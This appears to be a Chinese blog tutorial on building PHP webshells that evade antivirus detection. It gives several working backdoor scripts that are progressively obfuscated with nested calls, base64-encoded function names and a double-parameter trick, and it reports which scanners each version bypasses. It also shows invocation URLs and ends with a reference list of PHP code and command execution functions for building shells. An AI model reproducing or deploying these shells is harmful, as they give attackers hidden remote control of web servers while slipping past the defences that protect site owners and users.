什么是WebShell?
服务当服务器开放了Web服务的时候通过动态的后端语言使用服务器的部分权限用来处理数据和实现网站功能,而此时通过一些网站存在的漏洞或缺陷改变或上传后端语言代码并访问从而获得web服务运行用户的权限,而获得权限的代码就叫WebShell,实际上WebShell是一段含有任意代码执行或任意命令执行漏洞的代码块,攻击者通过访问此文件来获得一些操作权限。由于WebShell其大多是以动态脚本的形式出现,也有人称之为网站的后门工具。

PHP因为语言特性所以一些实现木马功能的常用函数都被杀毒软件认定为敏感函数,所以要做php的木马免杀就不能像其他语言一样只对字符串进行处理

1.首先选用简短的小马进行免杀处理

<?php
    uasort($_GET,'assert');

利用:?1=1&2=phpinfo();

仅次于eval($_GET[‘cmd’])的一句话木马,被各大杀软查杀

2.创建函数互相调用

一些杀软会根据代码执行顺序定位后门代码块,所以可以通过多次函数的互相调用绕过检测

<?php
function assertstr(){
    uasort($_GET,'assert');
}
function run(){
    return assertstr();
}
function run1(){
    return run();
}
function run2(){
    return run1();
}
run2();

利用:?1=1&2=phpinfo();

现在已经能够绕过集成杀软库 VIRUSTOTAL、集成杀软库 VirSCAN和河马 SHELLPUB的查杀

3.使用双传参构造执行代码

如百度WEBDIR一类杀软会在沙箱尝试执行文件代码,根据执行结果进行报告文件是否安全,所以我们可以通过构造一个通过正常方式无法使用的webshell来绕过检测

<?php
function assertstr(){
    $databases = array('1', '1');
    $cmd = 'return 1;}'.$_REQUEST['cmd'].$_GET['key'];
    return uasort($databases,create_function('$a, $b',$cmd));
}
function run(){
    return assertstr();
}
function run1(){
    return run();
}
function run2(){
    return run1();
}
run2();

利用:?cmd=phpinfo();&key=/*

此时能够绕过集成杀软库 VirSCAN和百度WEBDIR,但是因使用了create_function函数所以集成杀软库 VIRUSTOTAL中腾讯报毒,河马 SHELLPUB报出了疑似

4.使用加密变量调用函数

对函数名进行加密解密储存到变量中,再使用变量调用敏感函数

<?php
function assertstr(){
    $databases = array('1', '1');
    $cmd = 'return 1;}'.$_REQUEST['cmd'].$_GET['key'];
    $create=base64_decode(substr('AC3Y3JlYXRlX2Z1bmN0aW9u',3));
    $uaso=base64_decode(substr('AC3dWFzb3J0',3));
    return $uaso($databases,$create('$a, $b',$cmd));
}
function run(){
    return assertstr();
}
function run1(){
    return run();
}
function run2(){
    return run1();
}
run2();

利用:?cmd=phpinfo();&key=/*

那么现在集成杀软库 VIRUSTOTAL中腾讯已经不报毒了,河马 SHELLPUB还是报出了疑似

5.对传入数据进行加密解密操作

那么对函数进行了处理现在也要对数据进行处理,先将传入的数据进行gpc处理防止目标服务器开启了gpc,然后对数据进行加密、切割、解密等一系列操作

<?php
function assertstr(){
    $databases = array('1', '1');
    $cmd=get_magic_quotes_gpc()?stripslashes($_REQUEST["cmd"]).$_GET['key']:$_REQUEST["cmd"].$_GET['key'];
    $cmd=base64_decode("cmV0".substr(base64_encode('return 1;}'.$cmd),4));
    $create=base64_decode(substr('AC3Y3JlYXRlX2Z1bmN0aW9u',3));
    $uaso=base64_decode(substr('AC3dWFzb3J0',3));
    return $uaso($databases,$create('$a, $b',$cmd));
}
function run(){
    return assertstr();
}
function run1(){
    return run();
}
function run2(){
    return run1();
}
run2();

利用:?cmd=phpinfo();&key=/*

此时已经完成了大部分杀软库的免杀

对代码进行一些修改

<?php
error_reporting(0);
function assertstr(){
    $databases = array('1', '1');
    $cmd=get_magic_quotes_gpc()?stripslashes($_REQUEST["cmd"]).$_GET['key']:$_REQUEST["cmd"].$_GET['key'];
    $cmd=base64_decode("cmV0".substr(base64_encode('return 1;}'.$cmd),4));
    $create=base64_decode(substr('AC3Y3JlYXRlX2Z1bmN0aW9u',3));
    $uaso=base64_decode(substr('AC3dWFzb3J0',3));
    return $uaso($databases,$create('$a, $b',$cmd));
}
function run(){
    return assertstr();
}
run();
die();

利用:?cmd=phpinfo();&key=/*

经测试可绕过的杀软库为

  • 百度 WEBDIR+
  • 微软 Microsoft Defender
  • 集成杀软库 VIRUSTOTAL
  • 集成杀软库 VirSCAN
  • 河马 SHELLPUB
  • 腾讯查杀
  • 微步在线云沙箱
  • Jotti扫描程序
  • OPSWAT
  • D盾

检测结果截图:

上面的小马在使用时需要传两个值,cmd为要执行的命令,key恒为 /* ,当两个值同时存在时命令能够成功执行

执行phpinfo()命令:127.0.0.1/shell.php?cmd=phpinfo();&key=/*

使用蚁剑连接

实际环境中需要根据服务器禁用函数和版本的情况,还有杀软的特征,病毒库等,选择合适的免杀手段

可选择的同功能函数替换

/*******************代码执行*******************/
eval()                          ($_GET[1])
                                把字符串按照PHP代码来计算
​
//PHP4 PHP5 PHP7 PHP8
assert()                        ($_GET[1])
                                断言函数,把字符串按照PHP代码来计算
    
//PHP4>=4.0.1 PHP5 PHP7
create_function()               ($_GET[1],'assert')
('$a,$b','echo 1;')             构造一个匿名函数并返回
    
//5.7及以下可用
preg_replace()                  ("/test/e",$_GET[1],"just test!")
                                正则表达式/e参数会执行第二位,需要匹配成功
                                    
//PHP4>=4.0.6 PHP5 PHP7 PHP8
array_map()                     ("assert",$_GET[1])
                                执行一个回调函数,实参为第二位的数组
                                    
//PHP4 PHP5 PHP7 PHP8
call_user_func()                ("assert",$_GET[1])
                                执行一个回调函数,实参为第二位的值
   
//PHP4>=4.0.6 PHP5 PHP7 PHP8
call_user_func_array()          ("assert",$_GET[1])
                                执行一个回调函数,实参为第二位的数组
    
//PHP4>=4.0.6 PHP5 PHP7 PHP8
array_filter()                  ($_GET[1],'assert')
                                执行一个回调函数,实参为第一位的数组
    
$_GET['a']($_GET['b']);         函数(实参)
                                传值进入执行木马
                                   
//PHP4 PHP5 PHP7 PHP8
usort()                         (...$_GET)
uasort()                        (...$_GET)
?1[]=1-1&1[]=eval($_POST['x'])&2=assert
                                传入数组执行木马
    
/*******************命令执行*******************/
//PHP4 PHP5 PHP7 PHP8
system()                        ($_GET['cmd'],$str)
                                输出结果,返回最后一行的结果,返回值保存到$str
​
//PHP4 PHP5 PHP7 PHP8
passthru();                     ($_GET['cmd'])
                                同system()
​
//PHP4 PHP5 PHP7 PHP8
exec()                          ($_GET['cmd'],$arr)
                                将结果储存到$arr数组中同时也返回结果
​
//PHP4 PHP5 PHP7 PHP8
shell_exec()                    ($_GET['cmd'])
                                将字符结果返回
​
//PHP4 PHP5 PHP7 PHP8
`$_GET[1]`                      直接执行
                                同shell_exec(),受shell_exec()被禁用影响
​
//PHP4>=4.3.0 PHP5 PHP7 PHP8
proc_open()                     ($_GET['cmd'],$arr,$arr2)
                                $arr传入数据到子进程的方式,$arr2[1]返回的资源类型果
​
//PHP4 PHP5 PHP7 PHP8
popen()                         ($_GET['cmd'],'r'读或'w'写)
                                以读或写的方式执行,成功返回文件指针失败返回false